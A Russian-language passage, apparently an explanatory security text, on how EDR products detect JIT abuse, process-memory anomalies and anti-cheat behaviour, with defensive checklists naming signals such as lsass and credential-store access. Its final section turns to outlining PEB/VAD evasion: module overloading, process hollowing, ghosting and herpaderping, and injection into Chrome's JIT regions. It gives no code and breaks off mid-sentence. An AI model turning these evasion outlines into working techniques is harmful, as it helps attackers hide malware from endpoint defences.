sizes\nstable lifecycle\nnormal process family\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:\n\nbrowser renderer + V8\ndotnet process + CLR/CoreCLR\njava process + JVM\nnode.exe + V8\n\u0427\u0442\u043e \u0432\u044b\u0434\u0430\u0451\u0442 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0443 \u043f\u043e\u0434 JIT\nEDR \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u043d\u0435\u0441\u043e\u0441\u0442\u044b\u043a\u043e\u0432\u043a\u0438:\n\nJIT-like executable region exists\nbut no JIT runtime owns it\n\u0438\u043b\u0438:\n\nJIT runtime loaded,\nbut sensitive action originates outside expected runtime path\n\u0438\u043b\u0438:\n\nprivate RX region \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0434\u043e\u043b\u0433\u043e \u0434\u043e:\n  handle open to remote process\n  memory write\n  protection change\n  thread creation\n  credential/process access\n\u0422\u043e \u0435\u0441\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441 \u043d\u0435 \u0432 \u0442\u043e\u043c, \u201c\u043f\u043e\u0445\u043e\u0436 \u043b\u0438 \u0440\u0435\u0433\u0438\u043e\u043d \u043d\u0430 JIT\u201d, \u0430:\n\n\u0432\u0435\u0434\u0451\u0442 \u043b\u0438 \u043e\u043d \u0441\u0435\u0431\u044f \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c runtime,\n\u0438\u043b\u0438 \u043a\u0430\u043a transient execution staging area.\n4. \u0420\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b JIT-abuse, \u0431\u0435\u0437 \u0440\u0435\u0446\u0435\u043f\u0442\u043e\u0432\n\u041d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u0430\u043a\u0438\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438:\n\n4.1. Living inside trusted runtime\n\u0417\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438, \u0433\u0434\u0435 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0434 \u043d\u043e\u0440\u043c\u0430\u043b\u0435\u043d:\n\nbrowser renderer\nNode.js\n.NET host\nJava process\nscripting engines\n\u0417\u0430\u0449\u0438\u0442\u0430 \u0441\u043c\u043e\u0442\u0440\u0438\u0442:\n\nprocess ancestry\nscript source\nloaded modules\nnetwork/file behavior\nchild processes\ncredential access\ncross-process memory access\n4.2. Abuse of script engines\n\u0421\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u044b\u0435 \u0434\u0432\u0438\u0436\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u0438\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c native bindings. \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f:\n\nunexpected native memory allocation\nRW/RX transition\nremote process handle\nthread start outside known runtime code\n4.3. Runtime confusion\n\u041a\u043e\u0433\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0440\u0435\u0433\u0438\u043e\u043d \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c runtime, \u043d\u043e \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0435\u0433\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u043c:\n\nwrong allocator\nwrong thread\nwrong call stack\nwrong metadata\nwrong region size\nwrong lifetime\nwrong protection transition pattern\n4.4. JIT spraying \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043b\u0430\u0441\u0441\n\u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438 JIT spraying \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u0443\u044e \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044e executable code \u0432 JIT runtime. \u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0434\u0432\u0438\u0436\u043a\u0438 \u0443\u0441\u043b\u043e\u0436\u043d\u0438\u043b\u0438 \u044d\u0442\u043e \u0437\u0430 \u0441\u0447\u0451\u0442:\n\nW^X policies\nCFG/CET\nrandomization\nconstant blinding\nsandboxing\ncode page separation\nwrite-protect code pages\n\u0414\u043b\u044f EDR \u0432\u0430\u0436\u0435\u043d \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e payload, \u0430 \u0432\u0435\u0441\u044c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0432\u043e\u043a\u0440\u0443\u0433 runtime.\n\n5. \u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0438 EDR: \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d\u0438 \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u044f\u0442\u0441\u044f\n\u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u201c\u043a\u0430\u043a \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 EDR \u0431\u0435\u0437 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430\u201d \u043e\u043f\u0430\u0441\u043d\u0430, \u0435\u0441\u043b\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0435\u0451 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e. \u041d\u043e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u0430: \u043c\u043d\u043e\u0433\u0438\u0435 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043d\u0435 \u201c\u043e\u0431\u0445\u043e\u0434\u044f\u0442\u201d EDR, \u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0432 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u043c/\u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435.\n\n\u041f\u043e\u0447\u0435\u043c\u0443 EDR \u0442\u0435\u0440\u043f\u0438\u0442 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\nEDR \u0432\u0438\u0434\u0438\u0442:\n\nsigned binaries\nknown vendor certificate\nknown driver/service\nknown installation path\nknown launch chain\nknown target process: game\nknown backend domains\nknown kernel objects/devices\nknown behavior baseline\n\u0422\u043e \u0435\u0441\u0442\u044c \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0430\u043d\u0442\u0438\u0447\u0438\u0442 \u0434\u0435\u043b\u0430\u0435\u0442 \u043d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u0432\u0435\u0449\u0438, \u043e\u043d\u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u044b \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c.\n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0430\u043d\u0442\u0438\u0447\u0438\u0442 \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430 EDR\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c:\n\nkernel driver\nprocess/thread monitoring\nhandle filtering\nmodule scans\nmemory integrity checks\nuser-mode hooks\nanti-debug\ndriver communication device\n\u041d\u043e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043e\u0431\u044b\u0447\u043d\u043e \u0442\u0430\u043a\u043e\u0439:\n\ngame launcher \u2192 game \u2192 anti-cheat service/driver\n\u0410 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442:\n\noffice document \u2192 script host \u2192 unknown driver/tool \u2192 sensitive process access\n\u0422\u0435\u0445\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0445\u043e\u0436\u0438, \u043d\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u0430\u0437\u043d\u0430\u044f.\n\n6. \u041a\u0430\u043a EDR \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u043b\u043e\u0436\u043d\u044b\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b\n6.1. Trust and reputation\ncertificate reputation\nvendor allowlist\nfile prevalence\ncloud reputation\ndriver signing state\nknown hashes\nstable update channel\n6.2. Scope limitation\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442 \u043e\u0431\u044b\u0447\u043d\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445:\n\ngame process\nlauncher\nanti-cheat service\ngraphics/input ecosystem\n\u0415\u0441\u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0431\u0438\u043d\u0430\u0440\u044c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0442\u0440\u043e\u0433\u0430\u0442\u044c:\n\nlsass.exe\nbrowser credential stores\nEDR service\ndomain admin tools\nPowerShell remoting\n\u0441\u043a\u043e\u0440\u0438\u043d\u0433 \u0440\u0435\u0437\u043a\u043e \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f.\n\n6.3. Stable behavioral profile\n\u0423 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c:\n\ndriver loads at game start\nopens handles to game\nscans modules\ncommunicates with service\nunloads/stays resident predictably\n\u0423 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e bypass \u0447\u0430\u0441\u0442\u043e transient:\n\nappears briefly\nallocates executable memory\ntouches sensitive target\ncleans artifacts\n7. \u0427\u0442\u043e \u0435\u0449\u0451 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u043d\u0438\u043a\u0443\n7.1. Execution provenance\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0443\u0441\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430:\n\n\u043a\u0442\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u043b \u043f\u0430\u043c\u044f\u0442\u044c?\n\u043a\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b?\n\u043a\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043b executable?\n\u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043b?\n\u043a\u0430\u043a\u043e\u0439 \u0431\u044b\u043b call stack?\n\u043a\u0430\u043a\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441-\u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c?\n\u0431\u044b\u043b \u043b\u0438 backing file?\n\u0431\u044b\u043b\u0430 \u043b\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u044c?\n7.2. Memory lifecycle\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430:\n\nRW allocation\n\u2192 high-entropy write\n\u2192 RX protection\n\u2192 execution\n\u2192 sensitive syscall\n\u2192 cleanup\n\u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT:\n\nruntime allocator\n\u2192 generated code with runtime metadata\n\u2192 expected thread/context\n\u2192 no suspicious cross-process action\n7.3. Stack legitimacy\n\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c:\n\nreturn addresses\nVAD ownership\nPEB membership\nunwind metadata\nTEB stack bounds\ncall-site plausibility\n7.4. Sensitive target context\n\u0421\u0438\u043b\u044c\u043d\u043e \u043f\u043e\u0432\u044b\u0448\u0430\u044e\u0442 \u0440\u0438\u0441\u043a:\n\naccess to lsass/security processes\nopening EDR/AV processes\ncredential store access\nremote memory write\nthread injection\ntoken manipulation\nETW tampering\nservice control operations\n8. \u041a\u043e\u0440\u043e\u0442\u043a\u0430\u044f \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430\nPEB/VAD bypass\n\u0417\u0430\u0449\u0438\u0442\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043d\u0435 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u201c\u0435\u0441\u0442\u044c \u043b\u0438 \u043c\u043e\u0434\u0443\u043b\u044c \u0432 PEB\u201d, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c:\n\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441\n\u2192 VAD\n\u2192 memory type\n\u2192 backing file\n\u2192 PEB ownership\n\u2192 image-load history\n\u2192 stack context\n\u2192 behavior after execution\nJIT abuse\n\u041d\u0435 \u0432\u0441\u044f\u043a\u0438\u0439 MEM_PRIVATE RX \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0435\u043d. \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u043e\u0433\u0434\u0430:\n\nJIT-like \u0440\u0435\u0433\u0438\u043e\u043d \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 JIT-\u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\n\u0438\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e \u0438\u0434\u0443\u0442 sensitive actions.\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b\n\u041e\u043d\u0438 \u043d\u0435 \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b. \u0418\u0445 \u0447\u0430\u0441\u0442\u043e \u0442\u0435\u0440\u043f\u044f\u0442 \u0438\u0437-\u0437\u0430:\n\n\u043f\u043e\u0434\u043f\u0438\u0441\u0438\n\u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u0438\n\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\n\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e baseline\n\u0413\u043b\u0430\u0432\u043d\u044b\u0439 defensive-\u043f\u0440\u0438\u043d\u0446\u0438\u043f\n\u041e\u0431\u0445\u043e\u0434 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043b\u043e\u043c\u0430\u0435\u0442 causal chain:\n\n\u043a\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043b \u043a\u043e\u0434\n\u043a\u0442\u043e \u0435\u0433\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\n\u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d \u0441\u0442\u0430\u043b executable\n\u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f\n\u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d \u0434\u0435\u043b\u0430\u0435\u0442 sensitive action\n\u043f\u043e\u0447\u0435\u043c\u0443 \u0441\u0442\u0435\u043a \u043d\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442 \u044d\u0442\u043e\u0442 \u043f\u0443\u0442\u044c\n\u0415\u0441\u043b\u0438 \u043d\u0430 \u044d\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u043d\u0435\u0442 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0432\u043e \u0432\u0441\u0435\u0445 \u0441\u043b\u043e\u044f\u0445 \u2014 \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0441\u0438\u0433\u043d\u0430\u043b bypass/tamper.\u0414\u043b\u044f \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0433\u043e \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u044d\u0442\u0438\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0441\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0438\u0441\u0441\u043e\u0432. \u041e\u0431\u043e\u0439\u0442\u0438 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430 \u0441\u0447\u0435\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u041e\u0421 \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e \u0441\u043e\u0444\u0442\u0430, \u0438 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u044d\u0442\u0438\u0445 \u00ab\u043e\u043a\u043d\u0430\u0445 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438\u00bb \u043a\u0440\u043e\u044e\u0442\u0441\u044f \u043b\u0430\u0437\u0435\u0439\u043a\u0438.\n\n1. \u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 PEB/VAD?\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 EDR \u0438\u0449\u0435\u0442 \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u00ab\u0441\u043f\u0438\u0441\u043a\u043e\u043c \u043c\u043e\u0434\u0443\u043b\u0435\u0439\u00bb (PEB) \u0438 \u00ab\u043a\u0430\u0440\u0442\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438\u00bb (VAD), \u0437\u0430\u0434\u0430\u0447\u0430 \u043e\u0431\u0445\u043e\u0434\u0430 \u2014 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043b\u0438\u0431\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u043a\u0430\u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u043b\u0438\u0431\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0441\u043b\u0435\u0434\u043e\u0432 \u0432 VAD \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434.\n\nModule Overloading (\u041f\u0435\u0440\u0435\u0433\u0440\u0443\u0437\u043a\u0430 \u043c\u043e\u0434\u0443\u043b\u0435\u0439): \u042d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432. \u0412\u043c\u0435\u0441\u0442\u043e \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u0440\u0435\u0433\u0438\u043e\u043d (MEM_PRIVATE), \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u0430\u043f\u043f\u0438\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0443\u044e, \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u0443\u044e, \u043d\u043e \u043d\u0435\u043d\u0443\u0436\u043d\u0443\u044e DLL (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0442\u0430\u0440\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430). \u0417\u0430\u0442\u0435\u043c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u044d\u0442\u0430 DLL \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e.\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: \u0412 VAD \u0440\u0435\u0433\u0438\u043e\u043d \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a MEM_IMAGE \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043a \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443 \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u0441 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e. \u0412 PEB \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u0436\u0435 \u0435\u0441\u0442\u044c. EDR \u0432\u0438\u0434\u0438\u0442 \u00ab\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0443\u044e\u00bb DLL, \u0445\u043e\u0442\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0443\u0436\u043e\u0439 \u043a\u043e\u0434.\nProcess Hollowing / Ghosting / Herpaderping: \u0422\u0435\u0445\u043d\u0438\u043a\u0438 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 FileObject \u0438 \u0441\u0435\u043a\u0446\u0438\u044f\u043c\u0438. \u0418\u0434\u0435\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u043a\u0446\u0438\u044e \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 (\u0447\u0438\u0441\u0442\u043e\u0433\u043e), \u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0440\u0443\u0433\u043e\u0439. \u0414\u043b\u044f VAD \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043a\u0430\u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437, \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u043a \u0444\u0430\u0439\u043b\u0443, \u043f\u043e\u043a\u0430 EDR \u043d\u0435 \u043d\u0430\u0447\u043d\u0435\u0442 \u0432\u044b\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0443 \u043f\u0430\u043c\u044f\u0442\u044c \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c \u0435\u0451 \u0441 \u0434\u0438\u0441\u043a\u043e\u043c.\nVAD Tagging Bypass (Proxying \u0447\u0435\u0440\u0435\u0437 JIT): \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e EDR \u0443\u0436\u0435 \u043f\u043e\u043c\u0435\u0442\u0438\u043b \u043a\u0430\u043a \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0440\u0435\u0433\u0438\u043e\u043d\u044b JIT-\u0434\u0432\u0438\u0436\u043a\u0430 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430). \u0415\u0441\u043b\u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 RWX \u0440\u0435\u0433\u0438\u043e\u043d, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c chrome.exe, \u043a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f PEB/VAD \u043d\u0435 \u043f\u043e\u043a\u0430\u0436\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438 \u2014 \u044d\u0442\u043e\u0442 \u0440\u0435\u0433\u0438\u043e\u043d \u0438 \u0442\u0430\u043a \u00ab\u0448\u0443\u043c\u043d\u044b\u0439\u00bb \u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439.\n2. \u0420\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b bypass-\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 JIT-\u0434\u0432\u0438\u0436\u043a\u0438\nJIT-\u0434\u0432\u0438\u0436\u043a\u0438 (Just-In-Time) \u2014 \u044d\u0442\u043e \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u044b\u0435 \u00ab\u0444\u0430\u0431\u0440\u0438\u043a\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430\u00bb. EDR \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u043c, 